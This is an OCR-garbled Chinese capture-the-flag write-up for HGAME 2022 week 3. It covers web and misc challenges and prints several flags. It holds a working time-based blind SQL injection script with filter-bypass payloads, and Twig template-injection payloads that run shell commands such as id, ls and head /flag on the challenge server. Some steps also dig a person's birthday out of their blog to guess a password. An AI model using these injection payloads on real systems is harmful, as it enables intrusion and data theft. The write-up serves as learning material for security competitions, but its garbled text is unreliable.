<« C O 8 121.43.141.153:60056/errorphp?code=testandaaa P

Fatal error: Uncaught Error: Call to a member function fetch_all() on bool in /var/www/html/db.php:27 Stack trace: #0 /var/www/html/error.php(7): getStatusMessage(‘testaaa’) #1 {main} thrown in fvar/www/html/db.php on line 27

!

Bt
L

o

$ O @

Encryption ~ Encoding ~ SQL - XSS~ Other -

i@ Load URL http//121.43 141.153:60056/error php?code=testandaaa
B spiturL

E e
‘ Y Brecute [) Postdata [ Referer [] UserAgent []Cookies  Clear Al

fuzz— FsqloCBt T, KB A7 3 HT I JE )

Intruder attack 1

Attack Save Columns

Results Target Positions Payloads Options

Filter: Showing all items

Request Payload Status Error  Timeout Length Comment
4 @ 200 473
13 - 200 473
15 = 200 473
16 + 200 473
33 200 473
34 - 200 473
35 -+ 200 473
36 Vi 200 473
41 and 200 473
42 or 200 473
46 select 200 473
48 union 200 473
49 from 200 473
50 where 200 473
1 500 477
2 ~ 200 474
3 ! 200 474

Request Response
Raw Render \n Actions v

4 X-Powered-By: PHP/7.4.27
5 Vary: Accept-Encoding
& Content-Length: 256
7 Connection: close
g Content-Type: text/html; charset=UTF-8
Q
10 <br />
11 <b>
Fatal error
</ b2
Uncaught Error: Call to a member function fetch_all () on bool in /var/www/html/db. php:27
12 Stack trace:
13 #0 /var/www/html/error. php(7) : getStatusMessage('')
14 #1 {main}
15 thrown in <b>
Awvar Swww/html Adb. php
</ b2
on line <b>
27
/b

14

<br /> CSDN @3F ]

Contribute now! HackBar v2

CSDN @3k 4]
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121.43.141.153:60056/errorphp” X +

<« C O 8 12143.141.153:60056/error.php?code=anandd

% 0o ¥one

Fatal error: Uncaught Error: Call to a member function fetch_all() on bool in /var/www/html/db.php:27 Stack trace: #0 /var/www/html/error.php(7): getStatusMessage(‘and’) #1 {main} thrown in /var/www/html/db.php on line 27

HackBar
Encryption ~ Encoding v+ SQL ~ XSS~ Other =
i@ LeadURL http://121.43 141.153:60056/error php?code=anandd
B seiturL
‘ ») Execute

[ Postdata [] Referer [] UserAgent [] Cookies  Clear Al

m Cancel [( '.\

Contribute now! HackBar v2

Vi

CSDN @3k %)

Target: http://121.43.141.153:60056 7 (7)

O=n= =
Request Response =
Pretty lRENE \n  Actions v {CVl Raw Render \n  Actions v z
1 GET /error.php?code=if (2<}l, sleep (1), 1) HTTP/1.1 1 HTTP/1.1 200 OK E
2 Host: 121.43.141.153: 60056 2 Date: Sat, 29 Jan 2022 19:29:41 GMT 9
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:96.0) Gecko/20100101 3 Server: Apache/2.4.51 (Debian) g
Firefox/96.0 4 X-Powered-By: PHP/7.4.27
4 Accept: 5 Vary: Accept-Encoding
text/html, application/xhtml+xml, application/xml ;q=0.9, image/avif, image/webp, */*;9=0. 8 6 Content=Length: 256
5 Accept-Language: zh-CN, zh;a=0.8, zh-TN;g=0. 7, zh-HK;g=0. 5, en-US; ¢=0. 3, en;a=0. 2 7 Connection: close
& Accept—-Encoding: gzip, deflate 8 Content-Type: text/html; charset=UTF-8
7 Connection: close 9
8 Upgrade-Insecure-Requests: 1 10
9 11 <html>
10 12 <head>
13 <meta char="utf-8">
14 {link rel="stylesheet" href="static/error.css">
15 <link href="https://fonts. googleapis. com/css?fami|y=IBM+P|ex+Mono:400|0swald: 600" rel=
16 </head>
17 <body>
18 <div id="error">
Error
</dive
19 </body>
20 </html>
21
0 matches | 0 matches
Done @%le@l%@ s
O== =
| Request Response =
Pretty JLENY \n  Actions v Raw Render \n Actions v z
1 GET /error.php?code=if(2>1, sleep(1),1) HTTP/1.1 1 HTTPA1.1 200 OK ﬁ
2 Host: 121.43.141.153:60056 7 Date: Sat, 29 Jan 2022 19:29:07 GNT q
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Wino4; x64; rv:96.0) Gecko/20100101 3 Server: Apache/2.4.51 (Debian) o
| Firefox/96.0 4 X-Powered-By: PHP/7.4.27 =
4 Accept: 5 Vary: Accept-Encoding
text/html, application/xhtml+xml, app|lication/xml;q=0.9, image/avif, image/webp, */%*;q=0. 8 & Content-Length: 256
5 Accept-Language: zh-CN, zh;g=0. 8, zh-TW;g=0. 7, zh-HK; g=0. 5, en-US; . 3,en;g=0. 2 7 Gonnection: close
& Accept-Encoding: gzip, deflate 8 Content-Type: text/html; charset=UTF-8
7 Connection: close 9
| 8 Upgrade-Insecure-Requests: 1 10
9 11 <html>
10 12 <head>
13 <meta char="utf-8">
14 <link rel="stylesheet" href="static/error.css">
15 <link href="https://fonts. googleapis. com/css?fami|y=1BMP lex+Mono:400|0swald: 600" rel=
16, </head>
17 <body>
18 <div id="error">
Error
</dive
19 </body>
20 </html>




@@lEHEH Search... 0 matches ®@‘E”EH Search... | 0 matc?\l

Done 274 byled| 4035 mils

AT IS, 1 IER T XS Gead B AT
import requests

= "@123456789abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ! "#$%&" ()*+,-./:;<=>2@[\]*_"{| }~"
"http://121.43.141.153:60056/error.php?code="

burp@_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;gq=0.2",
"Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

result = ""

for i in range(590):

for s in printable_str:
# payload = "if(ascii(mid(database(),{},1))1like({}),sleep(1),1)".format(i, ord(s))
# payload = "if(ascii(mid((selselectect/*/**/*/group_concat(table name)/*/**/*/frfromom/*/**/*/infoorrmation_s|

chema.tables/*/**/*/whewherere/*/**/*/(table_schema)like( 'pokemon")),{},1))1like({}),sleep(1),0)".format(i, ord(s
)

# payload = "if(ascii(mid((selselectect/*/**/*/group_concat(column_name)/*/**/*/frfromom/*/**/*/infoorrmation
schema.columns/*/**/*/whewherere/*/**/*/(table _name)like('flllll1l1llaaaaaag')),{},1))1like({}),sleep(1),0)".format
(i, ord(s))

payload = "if(ascii(mid((selselectect/*/**/*/flag/*/**/*/frfromom/*/**/*/pokemon.flll11111laaaaaag),{},1))like(
{}),sleep(1),1)".format(i, ord(s))

resp = requests.get(url=burp® url+payload, headers=burp@ headers)

if resp.elapsed.seconds > 3:

result += s
print("[+]{}".format(result))
else:

continue




ES PowerShell | B¥ PowerShell ®  B¥ PowerShell

PS C:\Users\Administrator\Downloads> python
[+]1h

[+1hg

[+]1hga

[+1hgam

[+]hgame

[+]1hgame{

[+]hgame{C

[+]1hgameiCe

[+]hgame{C@n

[+]1hgame{CceOn9

[+]hgame{Ccenor

[+1hgame{COnor@

[+]hgame{Ccenor@t

[+]1hgameiCOnor@tu

[+]hgame{CceOnor@tul

[+]hgame{COnor@tulu

[+]hgameiCenor@tulut
[+]hgame{COn9rftuluti
[+]1hgameiCOnor@tulutio
[+]hgame{COn9r@tuldtion
[+]1hgame{iCcenor@tulution*
[+]hgamefCcOn9r@tuldtionxy
[+]hgameiCcOnor@tulutiOn*ya
[+]hgame{COn9rftuldtion*yeu
[+]1hgameiCcOnor@tulution*yaou$
[+]hgame{COn9r@tulution*veous$l
[+]1hgame{COnor@tulution*yYeu$ur
[+]hgame{COn9rftuldtion*xyeu$lrs3
[+]hgameiCOnor@tulutiOn*you$lrs3_
[+]hgame{COn9r@tuldtion*xyeu$dr3_s
[+]1hgameiCcOnor@tulutiOn*you$ur3_sq
[+]hgame{COn9r@tuldtion*yeu$lr3_sql
[+]1hgame{iCOnor@tulutiOn*You$ur3_sql_
[+]hgame{CcoOn9r@tulution*yeus$lr3_sql_M
[+]1hgameicOnor@tulutiOn*you$ur3_sql_Mu
[+]hgame{COn9rftuldtion*you$lr3_sql_Mus
[+]1hgame{COnor@tulutiOon*You$ur3_sql_MUST
[+]hgame{COn9rftuldtion*xyeu$ldr3_sql_MUST3
[+]1hgame{CcOnor@tulution*you$ur3_sql_MUST3R
[+]hgamefCoOn9r@tuldtion*xyeu$dr3_sql_MUST3IR#
[+]1hgame{CcOnor@tulution*Yeu$ur3_sql_MUST3R#}
Ps C:\Users\Administrator\nownloads>|

MISC
2

R4 A

CSDN

—IKIERATE RIS

BfEsEET T flag . BEIERE—TEENEA.

PS: ERETENEE



Bl - SREEREH.png

PS I, HAWZEELP AL, REPHER, MAREs, 1S3aF

TR B&) BEQ HS) EEM 300 HEM BEOW  #EH)
W o= HARE  EaRE
—SKEHEE R, % (BB 1 781H, RGB/B) *

1 P€EO0FHD MO TRAN NGRSO

@ s

e

ELEEA K, —4efgrh R SR s B, A AT SR s E B EOMIR 5. https:/merricx.github.io/qrazybox/


https://merricx.github.io/qrazybox/

QRazyBox
—

New Project

New Project

New blank QR code

Import from Image

Tools Help About

| [ | | Original Sample :
H EEE B N EER
| ||

Load Sample

CSDN @2k 4]



Tools List

e
Extract QR Information '—?—

Force decode and get information about the current QR code as much as possible

Reed-Solomon Decoder

Errors and Erasures correction by decoding Reed-Sclomon blocks

Brute-force Format Info Pattern

Try all possibilities of Format Info Pattern when decoding

Data Masking

Simulate data masking (XOR) with Mask pattern

Padding Bits Recovery

Recowver missing bits by placing terminater and padding bits

Data Sequence Analysis (Experimental)
Analyze data sequence of QR code

Close

QR version : 4 (33x33)
Error correction level : H
Mask pattern: 0

Number of missing bytes (erasures) : 0 bytes (0.00%)

Data blocks :
[“01000001","11110110","11100010","00110010","11100110","10000110","11100110","10011011","1000011

Final data bits :
010000011110011010000111010001110100011100000111001100111010001010110011111101101000011011

[0100] [00011110]
[011010000110111010001101110100011011100000110111001100100111010001001010110010011111101101

Maode Indicator : 8-bit Mode (0100)
Character Count Indicator : 30
Decoded data : https:+?homdginc~.homeboyc)zk§

[0100] [11101100] [000100011111110101000000010001]
Mode Indicator : 8-bit Mode (0100)

Character Count Indicator : 236

Decoded data: &

r

Final Decoded string  https:+?homdginc~.homeboyc)*ks &
4 b

CSDN @3F )
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Google

inurl: "homeboyc"

Q=% LER OHE OWEm OxHE (8

HEE 4 FHE  (FBe 032 #)

https://github.com > asjdf > hugo.asjdfio» issues

ScrapyxdirCloudflare sz JB5#2j&E#18 - GitHub
20215108178 —

hitps:/fhomeboyc.cn/blog/scrapy%ES%AF%B9%EE% A% 9T Cloudflare%ES%8F %a0D% ...

https://github.com > asjdf » hugo.asjdfio » issues

Issue #12 - asjdf/hugo.asjdf.io - hgame-week3-writeup - GitHub
https:/fhomeboyc.cn/blog/hgame-week3-writeup/ Web Liki-Jail Liki -EERlE
temp['password'].format(mid) print{temp) r = session.post(url, data=temp) if ...

o2 B 1 github,  7Egithub & 5T 21 A F 1 %5 i

1935

asjdf

Follow

asjdf / README .md
Hi there

I'm learning in HDU.
My favorite activity: Sleeping. Eating.
My blog: ESHIFE

{BREHS's GitHub Stats

Total Stars Earned:
Total Commits (2022):

Total PRs:

Total Issues:
Contributed to:

A, 53 followers - 65 following
@ Hangzhou, Zhejiang. Pinned

& https//www.homeboyc.cn/

Achievements

2

Highlights

¥ (PRO)

[ Ardulight | Public

A simple network lamp consisting of esp8266 and ws2812

®c++ ¥

[ dinosaurlnEsp8266 | Public
ETIEESPB266_LATHchrome [BIEHIETRAL

®c w1 ¥

SR JEAE N T R AR BL T 4R 21 1 9 5% %

ASJDF
—RIEnEBEAHIAIS

BE T BB

[0 Overview [ Repositories 76 [ Projects @ Packages

v Stars 384

[ Auto-Login-i_HDU

—REER HDUREEAS R RTINS

@ Python

V72

[ Sunnysport_Action

ERRAEI R R

@ Python

wo

¥

CSDN @3r ]

CSDN @3F )
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https://homeginan.homeboyc.cn

Home About Friend Link ©

SRR WSIEXX

T, BEREEST. WS SR R TEIEE

UTEIZEE! |

& Tue Jan 25 2022

FL4G

=, BiF, BB, =, TEAMgHTRIFIEER, BT EE. T, =, (Rl MRS CyberChef . $52M "Derive PBKDF2 key" B=E3%6AE 7 key
(salt=1) , FAEIBAESHIIZIERAECBIEEUNE T (51 Tbase6d) . The following text is the ciphertext of fldg after AES-128 encryption,

@ Sun, Jan 23, 2022

HAPPY BIRTHDAY

DT XTIVER ZEIREE, REEETEN,
MR SNENEE, FRSSEERACEE, B =]
S RERNTAR, EERTENRET, DTNESSETRY
SEi—h.  XBEFFAIRTSesp8266§T—tssd 130600EE, MRAFEIENE, hIlS

BRENERE

HEE? EEEIREERs!

& Mon Aug 16, 2021

CSDN @3f )

=, BiF, 1505, =, TEIIM4geEERMEAER, BEfiT EE.

=
|_J
[
el
=
=il

FRiz--FEERE CyberChef .,
R "Derive PBKDFZ key” BEES5AE Tkey (salt=1) , SEIHSAESIIEREEECEETM=ET (Bl=Tbasebd) .
The following text is the ciphertext of fldg after AES-128 encryption.

b09nyMj9cOZ3aB8KUcnh4bnli9fGTILEXjnnW1/5j/nURTBFYkf0JwBO0qjcQhcCy7dxtsHqznOMkt6 XEGKD8y5K5whenAcwuiT/Rue+snORVWAorXsB3ZGel TuFLEIThbx:

e ==
CSDN @3 4]

b09nyMj9c0Z3aB8KUcnh46nIi9fGTIL6XjnnW1l/sj/nUR1BFYkf@IwBOqjcQhcCy7dxtsHqznOMkt6XEGKD8Y5K5whenAcwuiT/Rue+snORVIWAON

XsB3ZGcITuFLEIThbx4/vh5E/Wk4R8ghNcFh5bwSSmwdULVuwBrJ5H3+kBOsYafEqP8RDX3s0dXTj80V8Puqg+TNbXAMhxvdLGkkcBQ==




HEEidE

=8 BRAE T iEE ® e
1
BC e misc? i

< IR ol

Atn:;.zozzn,rzr 22:28:09
misc2fYET
b09nyMj9cOZ3aB8KUcnh46nli9fGTI
L6XjnnW1/sj/nUR1TBFYkfOJwBOgjcQ
hcCylCR8cGp6MhxD4pTEACGuUtFVY
CitewHdkZwhO4UsQhOFvH)+
+HkT9aThHyqE1WWHIVBJKbB1QtW
7AGsnkff6QE
+wqMT6fADfdpBQNOzg4DYA=

AtOm 2022/1,/27 22:28:19

salt=1
AtOm 2022/1/27 22:28:27

RO ETEEE
SmOry 2022/1,/27 22:28:51
K=
Z 20221727 22:2%:59
= CSDN @3k ]

b09nyMj9c0Z3aB8KUcnh46nIi9fGTIL6XjnnW1l/sj/nUR1BFYkf@IwBOqjcQhcCylCR8cGp6MhxDA4pTEACGUtFVYCitewHdkZwhO4UsQhOFVHj++

HkT9aThHyqE1wWH1vBIKbB1QtW7AGsnkff6QE+wqMT6FADTdpBQNOzg4DYA=

Derive PBKDF2 key ] passphrase B55, R4 % E245 H KIS R




HA}PY BIRTHDAY

192 £ BRE! =TI =T EE ZE—MIEEE, BEIENEN, MESEaeE—S08, A—itEsRd=raaiits==ER, = REEf=ERE—7C

—H. EEE NSO SENEE, FHSESEERTON, EIEENREEESE (UHRIER Afess e Rl e ERENEEEIR) T VEIREE FREE
ST T, TEEMIE—RERATTER, EEREFEMET T, O MESFE MRS SRERBNFNIAE. BEEEFNX T —HAEREEEESESE, HaEf
laviE—5, R AERTesp8266f1—thssd1306MIER, MEMESEGE, nillEEiFaRl—EEMFnIFRA.

=

@ Mon, Aug 16, 2021 b———

ML HRNZIE: 20020816
AT — NRIEARK, REEEZREZAGHEMN: hgame20020816

Last build: 5 months ago Options c About / Support 0
. = length: 172 =
Recipe ama Input e e + DOz n =
bB9NyMiOc0Z3aB8KUCnh46nIiofGTILEXjnnll/ s §/nURIBFYkF@IwB8g]jcQhcCylCRBCGpEMhxDApTEACGULFVYCitewHdkZwh04UsQhOFvH ++HkT9aThHyqE
Derive PBKDF2 key ©n
1wWHLVBIKbB1QtW7AGs nkfFEQE+wgMT6FADFdpBQNOZg4DYA=
Passphrase
hgame20020816 UTFS
Key size Iterations Hashing funct
128 1 SHA1
Salt
1 HEX
time: oms a I—D o -
length: 32
OQutput lines: 1 * -
5728elfb6ee26419b7a48a8cab57974
CSDN @3F )
- - [
3 — start: 162 1ength: 216 —
Recipe DEa Input i e = + O3 =
® n b@9nyMjoc073aB8KUCnh46nIigfGTILEXjnn1/ s/ nUR1IBFYkFf@luBag]cQhcCy7dxtsHgznOMkt6XEGKD8BY SKSwhenAcwuiT/Rue+snORVIACrXsB3ZGCITuF
EromiBsses s LEIThbxd/ vhsE/WkaRBghNc FhSbus SmudULVUWBrISH3+kBOSYaf EQPERDX3s0dXTj8eVEPug+TNDXANhxvdLGkkeBQ=-=
Alphabet .
A-Za-z0-9+/=
Remove non-alphabet chars
AES Decrypt e n
et HEX ~
5728elfbbee26419b7a48a0cab579e74
v HEX ~
Mode Input Output
ECB Raw Raw
From Base64 o mn time: dnms
length: 78 IF o3
OQutput ok oy a O 3] L4
Alphabet . e —
A-Za-z0-9+/= baeE, TMREHRE! —TTEEEERT -
hgame{Whe_4m_1?I_like_secial_En9in33ring}
week3 ! !

Remove non-alphabet chars

CSDN @3= 4]

4m_1?I like S@cial En

REZT BHIRK



{REST FRURAISTA]

BHHRA fF2—T

REE: ydbz
https://actue-1308188104.cos.ap-shanghai.myqcloud.com/Week2/53fabd22afb1eeTd163fe823841e6014.png
https://actue-1308188104.cos.ap-shanghai.myqcloud.com/Week2/86fbc8828fa07f748489fd715b026231.pnyg

200
200

W BB, PythonffiA f& f 4L 3~ R )

def decompress(files list:list) -> list:
dec_files_1list = []
for file name in files list:

if '.zip' in file_name:
zf = zipfile.ZipFile(file name)
zf.extractall(os.getcwd())
dec_files list += zf.namelist()
else:
continue

return dec_files list

if name_ == ' _ main__ ':
files list = os.listdir()
while True:
dec_files list = decompress(files list)
if len(dec_files list) == 0:
break
else:
files list = dec_files list

]
OF - T S ===
€ - » lEElE > REE » 0
—_—— =25 EH R ER i o
w = Se=]
8| agfl.mpd 2022/2/6 23:57 MP4 =i 24,029 KB
o =E
&| flag(.mp4 2022/2/6 23:58 MP4 =i 24,144 KB
I T
G| lagf.mp4 MP4 =i 23,873 KB
==y
code. PY I KB
PY
N ER
& 1.zip 2022/2/3 12:30 7IP it 351,37
0
% 2.zip 2022/2/3 12:30 7IP ERsrE 1,929,976

Rurn Suite Pro w2020.17.1



e mmmm e im e

£ 3zip

projectl % 6.2ip
volatility_2.6_wing4_standalo £ 5o s 104 e
@ OneDrive - Personal £ 9.zip
& WPSRER £ 13.2ip 24,088 KB
— &= 14.zip 44740 KB
- &= 15.7ip KB
R R 28.zip
HE= £R 34.zip
B £ 37.zip
YL TE £ 39.zip
° £ 40.zip
£ 02ip £ 59.zip
9 B £ 62.zip
o == & 113.zp
& FipmE (©) £ 1152p
= HEs 0 £ 116.zip
3 s £ 138z0p
A Linux % 139zip
£3 140zip
&2 150.zip
296 ATIE ) CSDN @35

BR) =L HARAN, 7E agfl.mps Al lagf.mpa FIRRIIAR A 5504

agfl

0:00:50

» =




7 = CShH @ )
CSDN @z #]

E
[]
=]
Q
o
>
=

5b020 X

48489fd71

7

86fbcBB828fa07f

53fa6d22afb1ee7d163fe823841- X
53fabd22afblee7d163feB823841




ol
Iif !
I

o5 T IR BEFE 1P 2600 R T X AR A :
[ )
FANEANF 55— AR S T
[ )
S5 3 PU5k base64 4w idid (1) - F 75 i
o (baseb4fiiiy, HI RIS 5 1) SR

A5 2R Y5k B A H ps fi S — N RIA]

hgame{Do_y@U_1TIk3_MazE5?}


https://zxing.org/w/decode.jspx
https://products.aspose.app/barcode/recognize
https://the-x.cn/zh-cn/base64/

MISC
E

Level - Week3

R AE R AR 7 AT

SO @SE T
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PS D:\Tools\Misc\volatility_2.6_winéd_standalone> .\volatility.exe -\ACTUE .raw

Volatility Foundation Volatility Framework 2.6

ke e s e e ke e e e e e e e e e e e s e e e e e e e e e sk e ke e e sk e ke e e sk e ok e ke sk e ok e ke ok e ke

Process: 1584 explorer.exe

Cache type "DEST" at 8xuU6a8959

Last modified: 2822-82-83 89:21:28 UTC+8888

Last accessed: 2822-82-83 81:21:22 UTC+8888

URL: Actue@file:///C:/Users/Actue/Desktop/flag.txt.txt.7z

e e e e e e e e e e e e e ke e e e e ke e e e sk e e e e ok e e e e ke e e e e e de e ke e de ke e e ke

Process: 1584 explorer.exe

Cache type "DEST" at 8x473aeb9

Last modified: 2822-82-83 89:21:20 UTC+80688

Last accessed: 2022-82-83 ©81:21:22 UTC+0088

URL: Actue@file:///C:/Users/Actue/Desktop/flag.txt.txt.7z

PS D:\Tools\Misc\volatility_2.6_win6l_standalone> .\volatility.exe .\ACTUE.raw filescan | findstr 'flag’
Volatility Foundation Volatility Framework 2.6

0x000000007e3c5070 2 8 RW-rw- \Device\Harddiskvolume2\Users\Actue\AppData\Roaming\Microsoft\Windows\Recent\flag.txt.txt (2).1lnk
0x000000007eccco00 2 8 -W-—-- \Device\HarddiskvVolume2\Users\Actue\Desktop\flag.txt.txt.7z

0x00000000713e8070 2 1 R—-r-- \Device\Harddiskvolume2\Users\Actue\Desktop\flag.txt.txt.7z

0x0000000071743720 1) 8 R—-r-- \Device\HarddiskVolume2\Users\Actue\Desktop\flag.txt.txt.WannaRen

PS D:\Tools\Misc\volatility_2.6_winé4_standalone> .\volatility.exe .\ACTUE.raw dumpfiles 9x000000007eccc908
Volatility Foundation Volatility Framework 2.6

DataSectionObject @x7eccc98@ None  \Device\HarddiskVolume2\Users\Actue\Desktop\flag.txt.txt.7z

SharedCacheMap ©x7eccc988 None \Device\HarddiskVolume2\Users\Actue\Desktop\flag.txt.txt.7z

PS D:\Tools\Misc\volatility_2.6_winéd_standalone>

S AR R PR WannaRen#ZmER N % 10 4

flag txt. txt. YannaBen X




HRMREE K Gk HE Y WannaRen#h 2% i 55 T H:  https:/mww.huorong.cn/info/1586440740454.html

Y JEWannaRenSRE=TE ==
L
3 &hﬂ-—:ﬁz
3
d BiHRE 14
SitAe 00:00:00
RRERETH: 14
BREEI 04
ZEikEA1.0.0.1 _
]’_ r_;,_;_.-"l f::_[]}'—. '|”}Jr
== | T U T et T A —

5B I B T S S 4 R DR T N P A D i A

R AR B 5

Hr EHS MRS hitp:/hi.pcmoe.net/buddha.html

hgame{Flsrt_STep_ Of MeMOrY_FOrenSlcs}

EAS 2 W% 4 e


https://www.huorong.cn/info/1586440740454.html
http://hi.pcmoe.net/buddha.html
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from PIL import Image

img = Image.open('l.png')
, height = img.size

pixs list = []

for w in range(5, width, 11):

for h in range(5, height, 11):
pix = img.getpixel((w, h))
pixs_list.append(pix)

A T pixs_1istIRREE, mlnl LIS 2 A B (088

new_width, new_height = 215, 215

new_img = Image.new('RGB', (new_width, new_height))

idx =

for n_w in range(new_width):

for n_h in range(new_height):
new_img.putpixel((n_w, n_h), pixs_list[idx])
idx += 1

new_img.save('ok.png")

new_img.show()

BB - tmpw32ke252PNG

CSDN @3 #]

W AR, PSS A B R AR U, A AR 4 MR 3R




from PIL import Image

img = Image.open('ok.png')
, height = img.size

pixs list = []

for w in range(2, width, 5):

for h in range(2, height, 5):
pix = img.getpixel((w, h))
pixs_list.append(pix)

o fifpixs 1istiKE,

new_width, new_height = 43, 43

new_img = Image.new('RGB', (new_width, new_height))

idx =

for n_w in range(new_width):

for n_h in range(new_height):
new_img.putpixel((n_w, n_h), pixs_list[idx])
idx += 1

new_img.save('okl.png')

new_img.show()

[:] Xk REE BE) BEQ SR BRSO ERM 300 #HEV E0w @)

WP E P oRE ==y BRI
okl.png @ 1740% (E8/E 1, RGB/8) *
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from PIL import Image

img = Image.open('okl.png"')
if img.mode == "P":

img = img.convert("RGB")
assert img.size[@] == img.size[1]

dim = width, height = img.size

_ in range(st):
with Image.new(img.mode, dim) as canvas:
for nx in range(img.size[0]):
for ny in range(img.size[@]):
y = (ny - nx * a) % width
x = (nx -y * b) % height
canvas.putpixel((y, x), img.getpixel((ny, nx)))
canvas.show()

canvas.save('ok2.png')
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R1% nipet , 24 npiet 4T — T

Hi,

Welcome to npiet online !

Info: found picture width=43 height=43 and codel size=1
Uploaded picture (shown with a small border): ok2.png

Pt &

|

Info: executing: npiet -w -e 220000 ok2.png

n? n? +=

run again !

back to npiet online - try again !

back to npiet
back to bertnase.de

SRR T — A ZipB 55, 3= RIS 2 Mist, ARG — IR



from binascii import *

[776686, 749573, 6395443, 2522866, 279584, 587965, 4012670, 1645156, 2184634]
[6065523, 6419830, 1421837, 5103682, 5963053, 2842996, 1113825, 1594064, 4578755]

range(len(list1)):
unhexlify(hex(list1[i]+1ist2[i])[2:]).decode()

print(flag)

hgame{wH@t_4 AM4Z1N9 1m4g3}

A BE L HIAETIY

PS: XA LS 2lflag, [

WEB

SecurityCenter

Level - Week3

SecurityCenter[2=i]

!
</script>

fe— .
LE mnt.

</html>

Avendor/composer/installed. json ——>

146.56.223.34:60036/redirect.ph; X 146.56.223.34:60036/ X 146.56.223.34:60036/redirect.phy X +
G O B 146.56.223.34:60036/redirect.php?url=https;//www.baidu.com
Summ3r £l

SIS OE, PSR Er=2

https /fwww.baidu.com

B

Aenn @sE %
CSDN @z '\,Jr
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Aoy WOL LS . L
“templating”
1.
“support”:
“iz=zuez": “https: ffgithub. comdtwigphp/ Twig/izaues",
“source”: “https:f/github. com/twigphp/Twig tree/v3. 3. 7"

.
“funding”: [ \
{

url”: “https:/Sgithub. com/fabpot”,
“type”: “github”
s
{
“url”: “httpsz://tidelift. com/funding/github/packagist/twig/twig”,
“type”: “tidelift”
I

1.

“install-path”: “.. twig/twig”
1

1.

“dev’: true,
“dev—package-names": []

Mik—~

146.56.223,34:60036/redirect.ph; X 146.56.223.34:60036/redirect.ph = +

& ¢ O 8 146.56.223.34:60036/redirect.php?url={{7*7}}

)

Summ3r ey
SRS LR, ETESRRSHlree
49

B

Encryption v Encoding + SQL ~ XSS~ Other =

& Load URL http://146 56.223 34:60036/redirect php2url={{7*7}}
gg Split URL
Execute
‘ = [J Postdata [J Referer [ User Agent [[] Cookies Clear All

Twing v3.3.7 (AR, 3R TIEIH
¢ https://whoamianony.top/2021/08/22/\Web % 4=/Twig # AR 1E N M 2| —/

SSTl payload

{{["id" ] |map("system")}}
{{["id"]|map("passthru")}}

{{["1id"]|map("exec")}} // TclalE

146.56.223.34:60036/redirect.ph X 146.56.223.34:60036/redirect.ph; % +

<« O O B 146562233456 b/redirect.php?url={{["id"]|map("system™)}}


https://whoamianony.top/2021/08/22/Web%25E5%25AE%2589%25E5%2585%25A8/Twig%20%25E6%25A8%25A1%25E6%259D%25BF%25E6%25B3%25A8%25E5%2585%25A5%25E4%25BB%258E%25E9%259B%25B6%25E5%2588%25B0%25E4%25B8%2580/

Summa3r L2t

EHEETAIE, BIEEHHSTHEES!
uid=33(www-data) gid=33(www-data) groups=33(www-data) Array

el

Encryption + Encoding ~  SQL -
& Load URL nttp:/146.56.223 34:60036/redirect php?url={{["id"]map("system")}}
0 split URL
» ) Execute
Post data Referer User Agent Cookies Clear All o

146.56.223.34:60036/redirect.ph; X 146.56.223.34:60036/redirect.ph| ¥ +

= © O & 14656.223.34¢

url={{["Is -lha /"]|map

Summ3r Z2rhy

LEMEEITETE, BTEEEAIMEHITRS

total BOK drwxr-xr-x 1 root root 4.0K Feb 3 16:29 . drwxr-xr-x 1 root root 4.0K Feb 3 16:29 ..
-rwxr-xr-x 1 root root 0 Feb 3 16:29 _dockerenv drwxr-xr-x 1 root root 4.0K Jan 26 16:27 bin
drwxr-xr-x 2 root root 4.0K Dec 11 17:25 boot drwoer-xr-x 5 root root 340 Feb 3 16:29 dev
drwxr-xr-x 1 root root 4.0K Feb 3 16:29 etc -r—r—r— 1 root root 42 Feb 3 09:57 drwxr-xr-x 2
root root 4.0K Dec 11 17:25 home drwxr-xr-x 1 root root 4.0K Jan 26 16:18 lib drwxr-xr-x 2
root root 4 0K Jan 25 00:00 lib64 drwxr-xr-x 2 root root 4. 0K Jan 25 00-:00 media drwsxr-xr-x 2
root root 4.0K Jan 25 00:00 mnt drar-xr-x 2 root root 4.0K Jan 25 00:00 opt dr-xr-xr-x 196
root root 0 Feb 3 16:29 proc drwx-—— 1 root root 40K Jan 26 16:35 root drwxr-xr-x 1 root root
4 0K Jan 26 16:27 run drwsr-xr-x 1 root root 4.0K Jan 26 16:27 sbin drwxr-xrx 2 root root
4.0K Jan 25 00:00 srv dr-xr-xr-x 13 root root 0 Feb 3 16:29 sys drwxrwxrwt 1 root root 4.0K
Jan 26 16:35 tmp drwxr-xr-x 1 root root 4.0K Jan 25 00:00 usr drwxr-xr-x 1 root root 4.0K Jan
26 16:18 var Array
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HackBar

Encryption ~ FEncoding ~ SQL ~ XSS~ Other ~

& Load URL hitp://146.56 223 34:60036/redirect php?url={{["ls -Iha /"]jmap("system")}}
i split URL
+) Execute
Post data Referer User Agent Cookies Clear All

AR R I IE T cat , faj L 5gd— T RIT]

146.56.223,34:60036/redirect.ph; X 146.56.223,34:60036/redirect.ph| * +

<« e O 8 14656.22334:

edirect.php?url={{["hea

Summ3r F2rhity

Hacker! preg_match(/hgame/i’, Stext)

B

Encnmbinn = Enradinn = @01 = VQE = Nihar =
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@ Load URL http://146.56.223 34:60036/redirect php?url={{["head /fMlag"]|map("system")}}
4§ split URL
| » ) Execute
Post data Referer User Agent Cookies Clear All

iR 8l N EANBES hgame ?
base644mfi%— T ik [A]

/redirect.php?url={{["head /flag | base64"]|map("system")}}

146.56.223.34:60036/redirect.ph; % 146.56.223.34:60036/redirect.ph; X o

< O & 146.56.223.34:00

[redirect.php?url={{["hea ag | baseb4"]lmap(“system™)}}

Summa3r Z2duly

EEERELE, EEEENSTErZ2
aGdhbWVTIVRIMTktUzVOMX4dxe 15zMDBPMEfaW50ZX1zc 3QxbjV-+IX0K Array

£l

Encryption ~ Encoding ~ SQL v XSS ~ Other

@ Load URL http://146.56 223 34:60036/redirect php?url={{["head /Mlag | base64"]|map{"system")}}
4 splitURL
| » ) Execute | .
